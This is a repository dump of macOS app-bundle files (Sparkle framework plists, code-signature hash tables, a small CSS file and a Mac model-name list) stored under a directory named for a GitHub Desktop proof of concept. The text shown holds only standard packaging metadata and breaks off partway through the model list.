606 | 607 | weight 608 | 20 609 | 610 | ^Resources/ 611 | 612 | weight 613 | 20 614 | 615 | ^Resources/.*\.lproj/ 616 | 617 | optional 618 | 619 | weight 620 | 1000 621 | 622 | ^Resources/.*\.lproj/locversion.plist$ 623 | 624 | omit 625 | 626 | weight 627 | 1100 628 | 629 | ^Resources/Base\.lproj/ 630 | 631 | weight 632 | 1010 633 | 634 | ^[^/]+$ 635 | 636 | nested 637 | 638 | weight 639 | 10 640 | 641 | ^embedded\.provisionprofile$ 642 | 643 | weight 644 | 20 645 | 646 | ^version\.plist$ 647 | 648 | weight 649 | 20 650 | 651 | 652 | 653 | 654 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/Current: -------------------------------------------------------------------------------- 1 | A -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Resources: -------------------------------------------------------------------------------- 1 | Versions/Current/Resources -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Sparkle: -------------------------------------------------------------------------------- 1 | Versions/Current/Sparkle -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 20D91 7 | CFBundleDevelopmentRegion 8 | English 9 | CFBundleExecutable 10 | Autoupdate 11 | CFBundleIconFile 12 | AppIcon.icns 13 | CFBundleIdentifier 14 | org.sparkle-project.Sparkle.Autoupdate 15 | CFBundleInfoDictionaryVersion 16 | 6.0 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.24.0 21 | CFBundleSignature 22 | ???? 23 | CFBundleSupportedPlatforms 24 | 25 | MacOSX 26 | 27 | CFBundleVersion 28 | 1.24.0 29 | DTCompiler 30 | com.apple.compilers.llvm.clang.1_0 31 | DTPlatformBuild 32 | 12D4e 33 | DTPlatformName 34 | macosx 35 | DTPlatformVersion 36 | 11.1 37 | DTSDKBuild 38 | 20C63 39 | DTSDKName 40 | macosx11.1 41 | DTXcode 42 | 1240 43 | DTXcodeBuild 44 | 12D4e 45 | LSBackgroundOnly 46 | 1 47 | LSMinimumSystemVersion 48 | 10.7 49 | LSUIElement 50 | 1 51 | NSMainNibFile 52 | MainMenu 53 | NSPrincipalClass 54 | NSApplication 55 | 56 | 57 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/PkgInfo: -------------------------------------------------------------------------------- 1 | APPL???? -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/AppIcon.icns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/AppIcon.icns -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/SUStatus.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/SUStatus.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/en.lproj/Sparkle.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/en.lproj/Sparkle.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ru.lproj/Sparkle.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/ru.lproj/Sparkle.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/uk.lproj/Sparkle.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/uk.lproj/Sparkle.strings -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/CodeResources: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | files 6 | 7 | Resources/AppIcon.icns 8 | 9 | 4McwRDEss5BzWwUMG2Xf93+ze08= 10 | 11 | Resources/SUStatus.nib 12 | 13 | ECVWRExfxyDt5uvKRD+70wc9J6s= 14 | 15 | Resources/ar.lproj/Sparkle.strings 16 | 17 | hash 18 | 19 | Rf4jjdgTqvfw5JO/6f9jHMURv/U= 20 | 21 | optional 22 | 23 | 24 | Resources/ca.lproj/Sparkle.strings 25 | 26 | hash 27 | 28 | wGGx+QzPg/20zZTq7jwCTgf/Ubc= 29 | 30 | optional 31 | 32 | 33 | Resources/cs.lproj/Sparkle.strings 34 | 35 | hash 36 | 37 | bY3rkqi/NJtXtjpK3FbV2o0gxbQ= 38 | 39 | optional 40 | 41 | 42 | Resources/da.lproj/Sparkle.strings 43 | 44 | hash 45 | 46 | 0t7SuLDMBZVsY240PAEsVfH/1qw= 47 | 48 | optional 49 | 50 | 51 | Resources/de.lproj/Sparkle.strings 52 | 53 | hash 54 | 55 | fsC7FJvExHE/2681tuUrjkSF2+A= 56 | 57 | optional 58 | 59 | 60 | Resources/el.lproj/Sparkle.strings 61 | 62 | hash 63 | 64 | NbIN+TRHORCL5Gfj68VRq4KdPXo= 65 | 66 | optional 67 | 68 | 69 | Resources/en.lproj/Sparkle.strings 70 | 71 | hash 72 | 73 | cHZov5FaqzfNhnBo0XdRuTMT4SY= 74 | 75 | optional 76 | 77 | 78 | Resources/es.lproj/Sparkle.strings 79 | 80 | hash 81 | 82 | QPG88BN+x/l2Qk1NLLe3wRa26mQ= 83 | 84 | optional 85 | 86 | 87 | Resources/fi.lproj/Sparkle.strings 88 | 89 | hash 90 | 91 | yd6pIoSj19HMDIUos4Td1Fch7bs= 92 | 93 | optional 94 | 95 | 96 | Resources/fr.lproj/Sparkle.strings 97 | 98 | hash 99 | 100 | X3URilwJPVqMTGbtrYdorODwrMA= 101 | 102 | optional 103 | 104 | 105 | Resources/he.lproj/Sparkle.strings 106 | 107 | hash 108 | 109 | U2WmlYGYmeeIlSW66R8awwmNXIE= 110 | 111 | optional 112 | 113 | 114 | Resources/hr.lproj/Sparkle.strings 115 | 116 | hash 117 | 118 | 7LLOVs76ioMwEDV8Gah+6sV/5No= 119 | 120 | optional 121 | 122 | 123 | Resources/hu.lproj/Sparkle.strings 124 | 125 | hash 126 | 127 | bNEmsO2LyUsMjTESH1I42V9sAOo= 128 | 129 | optional 130 | 131 | 132 | Resources/is.lproj/Sparkle.strings 133 | 134 | hash 135 | 136 | 8fxzD9ZhrvIZVZB1+QSJaPzg80M= 137 | 138 | optional 139 | 140 | 141 | Resources/it.lproj/Sparkle.strings 142 | 143 | hash 144 | 145 | bk1J6vpZjWeUFhBYWuWZf8TDv1A= 146 | 147 | optional 148 | 149 | 150 | Resources/ja.lproj/Sparkle.strings 151 | 152 | hash 153 | 154 | f4EbR/GfMsKeWJ5DN/vhwg/lUoE= 155 | 156 | optional 157 | 158 | 159 | Resources/ko.lproj/Sparkle.strings 160 | 161 | hash 162 | 163 | FRHRQPCWEk9GdJawYTuccg+E2tA= 164 | 165 | optional 166 | 167 | 168 | Resources/nb.lproj/Sparkle.strings 169 | 170 | hash 171 | 172 | sgrDElwUxXtzdw8WaUFWyK3pG9Y= 173 | 174 | optional 175 | 176 | 177 | Resources/nl.lproj/Sparkle.strings 178 | 179 | hash 180 | 181 | PWbC08zHFLROqivY2MAklDh6gkA= 182 | 183 | optional 184 | 185 | 186 | Resources/pl.lproj/Sparkle.strings 187 | 188 | hash 189 | 190 | o7deBXE2Ct8/vQxouej5KkwTcUA= 191 | 192 | optional 193 | 194 | 195 | Resources/pt_BR.lproj/Sparkle.strings 196 | 197 | hash 198 | 199 | /adUv04OXQkCFv+Oed6qktFVQ3E= 200 | 201 | optional 202 | 203 | 204 | Resources/pt_PT.lproj/Sparkle.strings 205 | 206 | hash 207 | 208 | Mji9loJOJvuDY9hz3FhQ4H+HY5E= 209 | 210 | optional 211 | 212 | 213 | Resources/ro.lproj/Sparkle.strings 214 | 215 | hash 216 | 217 | 9U+OTz29kXKZHY/nmvbtemMsB3g= 218 | 219 | optional 220 | 221 | 222 | Resources/ru.lproj/Sparkle.strings 223 | 224 | hash 225 | 226 | VpSLGNvZ6sbRYsF23L8m6TG+P6E= 227 | 228 | optional 229 | 230 | 231 | Resources/sk.lproj/Sparkle.strings 232 | 233 | hash 234 | 235 | qn/mo2EFOyw6keezS64Wo5ZGZXU= 236 | 237 | optional 238 | 239 | 240 | Resources/sl.lproj/Sparkle.strings 241 | 242 | hash 243 | 244 | kwvdisufBenuQzrVg8tYKTX+qgg= 245 | 246 | optional 247 | 248 | 249 | Resources/sv.lproj/Sparkle.strings 250 | 251 | hash 252 | 253 | 98/sk+A2Ew1fmKpuKZ3rq8eS1EM= 254 | 255 | optional 256 | 257 | 258 | Resources/th.lproj/Sparkle.strings 259 | 260 | hash 261 | 262 | HQwGW1Ebf0i+Bl4synks3x2SY2M= 263 | 264 | optional 265 | 266 | 267 | Resources/tr.lproj/Sparkle.strings 268 | 269 | hash 270 | 271 | whUQco5F2wcYdjc+cPKlk+mtx7Q= 272 | 273 | optional 274 | 275 | 276 | Resources/uk.lproj/Sparkle.strings 277 | 278 | hash 279 | 280 | JXhpqvLkX0yDWjbWgsk2wbSObKU= 281 | 282 | optional 283 | 284 | 285 | Resources/zh_CN.lproj/Sparkle.strings 286 | 287 | hash 288 | 289 | OnR96Z9tB0noODRSYssSs63+zGA= 290 | 291 | optional 292 | 293 | 294 | Resources/zh_TW.lproj/Sparkle.strings 295 | 296 | hash 297 | 298 | 1FLKoM5jZ8JGBG/nmyEIA+/aalA= 299 | 300 | optional 301 | 302 | 303 | 304 | files2 305 | 306 | MacOS/fileop 307 | 308 | cdhash 309 | 310 | EQz6KXwtRjqophEb7bSl5Mm++xE= 311 | 312 | requirement 313 | identifier fileop and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = QK92QP33YN 314 | 315 | Resources/AppIcon.icns 316 | 317 | hash 318 | 319 | 4McwRDEss5BzWwUMG2Xf93+ze08= 320 | 321 | hash2 322 | 323 | nq7j0ugQwyNbJn/7zGFwxIR0njwU3i7hAYKEyZhvUfE= 324 | 325 | 326 | Resources/SUStatus.nib 327 | 328 | hash 329 | 330 | ECVWRExfxyDt5uvKRD+70wc9J6s= 331 | 332 | hash2 333 | 334 | AtY9YmPv7cUlbFWP2vCyVdi3/M+XQn98wOlrIES2Dgk= 335 | 336 | 337 | Resources/ar.lproj/Sparkle.strings 338 | 339 | hash 340 | 341 | Rf4jjdgTqvfw5JO/6f9jHMURv/U= 342 | 343 | hash2 344 | 345 | 2cAJJ5NTxwpRgp24Ca3EuTXfaIIzsYdH3Y9cNCalZfc= 346 | 347 | optional 348 | 349 | 350 | Resources/ca.lproj/Sparkle.strings 351 | 352 | hash 353 | 354 | wGGx+QzPg/20zZTq7jwCTgf/Ubc= 355 | 356 | hash2 357 | 358 | om5I6jKleuRoCwjfrRRqKWQbs2l8lLj8QGKS47cxybA= 359 | 360 | optional 361 | 362 | 363 | Resources/cs.lproj/Sparkle.strings 364 | 365 | hash 366 | 367 | bY3rkqi/NJtXtjpK3FbV2o0gxbQ= 368 | 369 | hash2 370 | 371 | RfJgT2b3STcLu71+1iU9ZcSXbfwMWG1EE1C7Wrf3xBk= 372 | 373 | optional 374 | 375 | 376 | Resources/da.lproj/Sparkle.strings 377 | 378 | hash 379 | 380 | 0t7SuLDMBZVsY240PAEsVfH/1qw= 381 | 382 | hash2 383 | 384 | wu0CpGqE79+TXKIQm+q7ycPTuXhOlwRr/wD5uGHJzLM= 385 | 386 | optional 387 | 388 | 389 | Resources/de.lproj/Sparkle.strings 390 | 391 | hash 392 | 393 | fsC7FJvExHE/2681tuUrjkSF2+A= 394 | 395 | hash2 396 | 397 | XUpgsFH8KmcbgggpdYbJScCg0tBic9tNLdFh+8cbPyw= 398 | 399 | optional 400 | 401 | 402 | Resources/el.lproj/Sparkle.strings 403 | 404 | hash 405 | 406 | NbIN+TRHORCL5Gfj68VRq4KdPXo= 407 | 408 | hash2 409 | 410 | wt+2xyusmWAQuJ5kAQlRlvFb1wO4L7/rFdG+VmNjl+Y= 411 | 412 | optional 413 | 414 | 415 | Resources/en.lproj/Sparkle.strings 416 | 417 | hash 418 | 419 | cHZov5FaqzfNhnBo0XdRuTMT4SY= 420 | 421 | hash2 422 | 423 | 39CdfZZ1CQQz1Gd1+Ukxo2JHl0XESoc/cqWKF091WUk= 424 | 425 | optional 426 | 427 | 428 | Resources/es.lproj/Sparkle.strings 429 | 430 | hash 431 | 432 | QPG88BN+x/l2Qk1NLLe3wRa26mQ= 433 | 434 | hash2 435 | 436 | mtOoKdoTpGzeTNyzxkVGOMsE0Z3ZZOsmIKDfgA9aj8c= 437 | 438 | optional 439 | 440 | 441 | Resources/fi.lproj/Sparkle.strings 442 | 443 | hash 444 | 445 | yd6pIoSj19HMDIUos4Td1Fch7bs= 446 | 447 | hash2 448 | 449 | +AiiKWEdH3lesozLJBn3tfK6vi/VSI1/TnWVmIdVVsc= 450 | 451 | optional 452 | 453 | 454 | Resources/fr.lproj/Sparkle.strings 455 | 456 | hash 457 | 458 | X3URilwJPVqMTGbtrYdorODwrMA= 459 | 460 | hash2 461 | 462 | fyqJl0MhXYRILalxRHpv/JorWLOVLPtNcJioiPtlnYg= 463 | 464 | optional 465 | 466 | 467 | Resources/he.lproj/Sparkle.strings 468 | 469 | hash 470 | 471 | U2WmlYGYmeeIlSW66R8awwmNXIE= 472 | 473 | hash2 474 | 475 | 4gUlWkwTANV/jd7n4OZoXyT8CAcgWVk/tI3a25wmuLg= 476 | 477 | optional 478 | 479 | 480 | Resources/hr.lproj/Sparkle.strings 481 | 482 | hash 483 | 484 | 7LLOVs76ioMwEDV8Gah+6sV/5No= 485 | 486 | hash2 487 | 488 | TwklhrooHTXgV6Q9fbvvAB3mPIh7qDbEsNtUzo2fQuU= 489 | 490 | optional 491 | 492 | 493 | Resources/hu.lproj/Sparkle.strings 494 | 495 | hash 496 | 497 | bNEmsO2LyUsMjTESH1I42V9sAOo= 498 | 499 | hash2 500 | 501 | sRkp8c3Bx1qWdhhSNdOap1PbfmiTziINy1HxGea3SWU= 502 | 503 | optional 504 | 505 | 506 | Resources/is.lproj/Sparkle.strings 507 | 508 | hash 509 | 510 | 8fxzD9ZhrvIZVZB1+QSJaPzg80M= 511 | 512 | hash2 513 | 514 | xcV1yh/zU3U3TsRUT6vGybvIQitf+ThrogN/uOWmD8k= 515 | 516 | optional 517 | 518 | 519 | Resources/it.lproj/Sparkle.strings 520 | 521 | hash 522 | 523 | bk1J6vpZjWeUFhBYWuWZf8TDv1A= 524 | 525 | hash2 526 | 527 | Y+caNW+g0mt7HP4JrBxJw+uDwN3j19UYb+q5r9ch4Ow= 528 | 529 | optional 530 | 531 | 532 | Resources/ja.lproj/Sparkle.strings 533 | 534 | hash 535 | 536 | f4EbR/GfMsKeWJ5DN/vhwg/lUoE= 537 | 538 | hash2 539 | 540 | dSPIvpFbelHRv8liJjN3TUVPbgD1DfhVSGmE+S99quI= 541 | 542 | optional 543 | 544 | 545 | Resources/ko.lproj/Sparkle.strings 546 | 547 | hash 548 | 549 | FRHRQPCWEk9GdJawYTuccg+E2tA= 550 | 551 | hash2 552 | 553 | +bxn0NPgkxdHLa1MHRT+JRlYmy1jpIuaenpst5RT+RA= 554 | 555 | optional 556 | 557 | 558 | Resources/nb.lproj/Sparkle.strings 559 | 560 | hash 561 | 562 | sgrDElwUxXtzdw8WaUFWyK3pG9Y= 563 | 564 | hash2 565 | 566 | FG+w+OnLI7nwnNCWiMT50LU98VWj1d08ElfX4k7Ok4w= 567 | 568 | optional 569 | 570 | 571 | Resources/nl.lproj/Sparkle.strings 572 | 573 | hash 574 | 575 | PWbC08zHFLROqivY2MAklDh6gkA= 576 | 577 | hash2 578 | 579 | xnQkqxaO8zP1xpjY3nyjOd4Fe0gJon2Dbt456ukd/Gw= 580 | 581 | optional 582 | 583 | 584 | Resources/pl.lproj/Sparkle.strings 585 | 586 | hash 587 | 588 | o7deBXE2Ct8/vQxouej5KkwTcUA= 589 | 590 | hash2 591 | 592 | pDq+41jhfESgJauedrYncFY1O5EMEU3nRyl7mmyYj+s= 593 | 594 | optional 595 | 596 | 597 | Resources/pt_BR.lproj/Sparkle.strings 598 | 599 | hash 600 | 601 | /adUv04OXQkCFv+Oed6qktFVQ3E= 602 | 603 | hash2 604 | 605 | lY5EZJwPc/Rmfhw1gotkeEKB+ANXqZUlM2G92sZwdJc= 606 | 607 | optional 608 | 609 | 610 | Resources/pt_PT.lproj/Sparkle.strings 611 | 612 | hash 613 | 614 | Mji9loJOJvuDY9hz3FhQ4H+HY5E= 615 | 616 | hash2 617 | 618 | RUq6VJjn/QyydkNbpklLwfCgRF62+uHhXen2dYLBNuQ= 619 | 620 | optional 621 | 622 | 623 | Resources/ro.lproj/Sparkle.strings 624 | 625 | hash 626 | 627 | 9U+OTz29kXKZHY/nmvbtemMsB3g= 628 | 629 | hash2 630 | 631 | NNvDsecglQ/utR6YEqxyMj5K976YRWieCIC/PZuWCtQ= 632 | 633 | optional 634 | 635 | 636 | Resources/ru.lproj/Sparkle.strings 637 | 638 | hash 639 | 640 | VpSLGNvZ6sbRYsF23L8m6TG+P6E= 641 | 642 | hash2 643 | 644 | wJZ5NG+mvj4anRFPUFyvSD0kGrg+ZAqklsPfHuCxLQY= 645 | 646 | optional 647 | 648 | 649 | Resources/sk.lproj/Sparkle.strings 650 | 651 | hash 652 | 653 | qn/mo2EFOyw6keezS64Wo5ZGZXU= 654 | 655 | hash2 656 | 657 | e3cyzJ87ohC1ff/BzZ5O00MnwRE02U+J1KwXlSZeSSg= 658 | 659 | optional 660 | 661 | 662 | Resources/sl.lproj/Sparkle.strings 663 | 664 | hash 665 | 666 | kwvdisufBenuQzrVg8tYKTX+qgg= 667 | 668 | hash2 669 | 670 | t8QC+9TBONwKLQvV3fKV0umsnAS8ZDpqPikVksFPtWc= 671 | 672 | optional 673 | 674 | 675 | Resources/sv.lproj/Sparkle.strings 676 | 677 | hash 678 | 679 | 98/sk+A2Ew1fmKpuKZ3rq8eS1EM= 680 | 681 | hash2 682 | 683 | mJY6aeXFnSx38bF630z5lNPmPtsoYVAwadh0KC+9vfQ= 684 | 685 | optional 686 | 687 | 688 | Resources/th.lproj/Sparkle.strings 689 | 690 | hash 691 | 692 | HQwGW1Ebf0i+Bl4synks3x2SY2M= 693 | 694 | hash2 695 | 696 | nlP7repbMz6EqHo3sZWnK3tzx47WKSWnULdUHCYPgKk= 697 | 698 | optional 699 | 700 | 701 | Resources/tr.lproj/Sparkle.strings 702 | 703 | hash 704 | 705 | whUQco5F2wcYdjc+cPKlk+mtx7Q= 706 | 707 | hash2 708 | 709 | xEXUfrylPld+eFGrPyj4wTRPj7vUWOZ2f94sWydq03M= 710 | 711 | optional 712 | 713 | 714 | Resources/uk.lproj/Sparkle.strings 715 | 716 | hash 717 | 718 | JXhpqvLkX0yDWjbWgsk2wbSObKU= 719 | 720 | hash2 721 | 722 | u0572QZYh6sB0GQdMGMePalOf4zkxE7YQG7pp898SEg= 723 | 724 | optional 725 | 726 | 727 | Resources/zh_CN.lproj/Sparkle.strings 728 | 729 | hash 730 | 731 | OnR96Z9tB0noODRSYssSs63+zGA= 732 | 733 | hash2 734 | 735 | zvMbFdgVGI0ls9vIRT+sie7dj2g1UjQu7iS+pOgyBo4= 736 | 737 | optional 738 | 739 | 740 | Resources/zh_TW.lproj/Sparkle.strings 741 | 742 | hash 743 | 744 | 1FLKoM5jZ8JGBG/nmyEIA+/aalA= 745 | 746 | hash2 747 | 748 | Vlf/4QD7/3S0SFqxmTWWcSwtTLWISKUSvLjpgWb7lxQ= 749 | 750 | optional 751 | 752 | 753 | 754 | rules 755 | 756 | ^Resources/ 757 | 758 | ^Resources/.*\.lproj/ 759 | 760 | optional 761 | 762 | weight 763 | 1000 764 | 765 | ^Resources/.*\.lproj/locversion.plist$ 766 | 767 | omit 768 | 769 | weight 770 | 1100 771 | 772 | ^Resources/Base\.lproj/ 773 | 774 | weight 775 | 1010 776 | 777 | ^version.plist$ 778 | 779 | 780 | rules2 781 | 782 | .*\.dSYM($|/) 783 | 784 | weight 785 | 11 786 | 787 | ^(.*/)?\.DS_Store$ 788 | 789 | omit 790 | 791 | weight 792 | 2000 793 | 794 | ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ 795 | 796 | nested 797 | 798 | weight 799 | 10 800 | 801 | ^.* 802 | 803 | ^Info\.plist$ 804 | 805 | omit 806 | 807 | weight 808 | 20 809 | 810 | ^PkgInfo$ 811 | 812 | omit 813 | 814 | weight 815 | 20 816 | 817 | ^Resources/ 818 | 819 | weight 820 | 20 821 | 822 | ^Resources/.*\.lproj/ 823 | 824 | optional 825 | 826 | weight 827 | 1000 828 | 829 | ^Resources/.*\.lproj/locversion.plist$ 830 | 831 | omit 832 | 833 | weight 834 | 1100 835 | 836 | ^Resources/Base\.lproj/ 837 | 838 | weight 839 | 1010 840 | 841 | ^[^/]+$ 842 | 843 | nested 844 | 845 | weight 846 | 10 847 | 848 | ^embedded\.provisionprofile$ 849 | 850 | weight 851 | 20 852 | 853 | ^version\.plist$ 854 | 855 | weight 856 | 20 857 | 858 | 859 | 860 | 861 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/DarkAqua.css: -------------------------------------------------------------------------------- 1 | html { 2 | color: #FFFFFFD8; 3 | } 4 | :link { 5 | color: #419CFF; 6 | } 7 | :link:active { 8 | color: #FF1919; 9 | } 10 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 20D91 7 | CFBundleDevelopmentRegion 8 | en 9 | CFBundleExecutable 10 | Sparkle 11 | CFBundleIdentifier 12 | org.sparkle-project.Sparkle 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | Sparkle 17 | CFBundlePackageType 18 | FMWK 19 | CFBundleShortVersionString 20 | 1.24.0 21 | CFBundleSignature 22 | ???? 23 | CFBundleSupportedPlatforms 24 | 25 | MacOSX 26 | 27 | CFBundleVersion 28 | 1.24.0 29 | DTCompiler 30 | com.apple.compilers.llvm.clang.1_0 31 | DTPlatformBuild 32 | 12D4e 33 | DTPlatformName 34 | macosx 35 | DTPlatformVersion 36 | 11.1 37 | DTSDKBuild 38 | 20C63 39 | DTSDKName 40 | macosx11.1 41 | DTXcode 42 | 1240 43 | DTXcodeBuild 44 | 12D4e 45 | LSMinimumSystemVersion 46 | 10.7 47 | 48 | 49 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUModelTranslation.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ADP2,1 6 | Developer Transition Kit 7 | iMac1,1 8 | iMac G3 (Rev A-D) 9 | iMac4,1 10 | iMac (Core Duo) 11 | iMac4,2 12 | iMac for Education (17 inch, Core Duo) 13 | iMac5,1 14 | iMac (Core 2 Duo, 17 or 20 inch, SuperDrive) 15 | iMac5,2 16 | iMac (Core 2 Duo, 17 inch, Combo Drive) 17 | iMac6,1 18 | iMac (Core 2 Duo, 24 inch, SuperDrive) 19 | iMac7,1 20 | iMac Intel Core 2 Duo (aluminum enclosure) 21 | iMac8,1 22 | iMac (Core 2 Duo, 20 or 24 inch, Early 2008 ) 23 | iMac9,1 24 | iMac (Core 2 Duo, 20 or 24 inch, Early or Mid 2009 ) 25 | iMac10,1 26 | iMac (Core 2 Duo, 21.5 or 27 inch, Late 2009 ) 27 | iMac11,1 28 | iMac (Core i5 or i7, 27 inch Late 2009) 29 | iMac11,2 30 | 21.5" iMac (mid 2010) 31 | iMac11,3 32 | iMac (Core i5 or i7, 27 inch Mid 2010) 33 | iMac12,1 34 | iMac (Core i3 or i5 or i7, 21.5 inch Mid 2010 or Late 2011) 35 | iMac12,2 36 | iMac (Core i5 or i7, 27 inch Mid 2011) 37 | iMac13,1 38 | iMac (Core i3 or i5 or i7, 21.5 inch Late 2012 or Early 2013) 39 | iMac13,2 40 | iMac (Core i5 or i7, 27 inch Late 2012) 41 | iMac14,1 42 | iMac (Core i5, 21.5 inch Late 2013) 43 | iMac14,2 44 | iMac (Core i5 or i7, 27 inch Late 2013) 45 | iMac14,3 46 | iMac (Core i5 or i7, 21.5 inch Late 2013) 47 | iMac14,4 48 | iMac (Core i5, 21.5 inch Mid 2014) 49 | iMac15,1 50 | iMac (Retina 5K Core i5 or i7, 27 inch Late 2014 or Mid 2015) 51 | iMac16,1 52 | iMac (Core i5, 21,5 inch Late 2015) 53 | iMac16,2 54 | iMac (Retina 4K Core i5 or i7, 21.5 inch Late 2015) 55 | iMac17,1 56 | iMac (Retina 5K Core i5 or i7, 27 inch Late 2015) 57 | MacBook1,1 58 | MacBook (Core Duo) 59 | MacBook2,1 60 | MacBook (Core 2 Duo) 61 | MacBook4,1 62 | MacBook (Core 2 Duo Feb 2008) 63 | MacBook5,1 64 | MacBook (Core 2 Duo, Late 2008, Unibody) 65 | MacBook5,2 66 | MacBook (Core 2 Duo, Early 2009, White) 67 | MacBook6,1 68 | MacBook (Core 2 Duo, Late 2009, Unibody) 69 | MacBook7,1 70 | MacBook (Core 2 Duo, Mid 2010, White) 71 | MacBook8,1 72 | MacBook (Core M, 12 inch, Early 2015) 73 | MacBookAir1,1 74 | MacBook Air (Core 2 Duo, 13 inch, Early 2008) 75 | MacBookAir2,1 76 | MacBook Air (Core 2 Duo, 13 inch, Mid 2009) 77 | MacBookAir3,1 78 | MacBook Air (Core 2 Duo, 11 inch, Late 2010) 79 | MacBookAir3,2 80 | MacBook Air (Core 2 Duo, 13 inch, Late 2010) 81 | MacBookAir4,1 82 | MacBook Air (Core i5 or i7, 11 inch, Mid 2011) 83 | MacBookAir4,2 84 | MacBook Air (Core i5 or i7, 13 inch, Mid 2011) 85 | MacBookAir5,1 86 | MacBook Air (Core i5 or i7, 11 inch, Mid 2012) 87 | MacBookAir5,2 88 | MacBook Air (Core i5 or i7, 13 inch, Mid 2012) 89 | MacBookAir6,1 90 | MacBook Air (Core i5 or i7, 11 inch, Mid 2013 or Early 2014) 91 | MacBookAir6,2 92 | MacBook Air (Core i5 or i7, 13 inch, Mid 2013 or Early 2014) 93 | MacBookAir7,1 94 | MacBook Air (Core i5 or i7, 11 inch, Early 2015) 95 | MacBookAir7,2 96 | MacBook Air (Core i5 or i7, 13 inch, Early 2015) 97 | MacBookPro1,1 98 | MacBook Pro Core Duo (15-inch) 99 | MacBookPro1,2 100 | MacBook Pro Core Duo (17-inch) 101 | MacBookPro2,1 102 | MacBook Pro Core 2 Duo (17-inch) 103 | MacBookPro2,2 104 | MacBook Pro Core 2 Duo (15-inch) 105 | MacBookPro3,1 106 | MacBook Pro Core 2 Duo (15-inch LED, 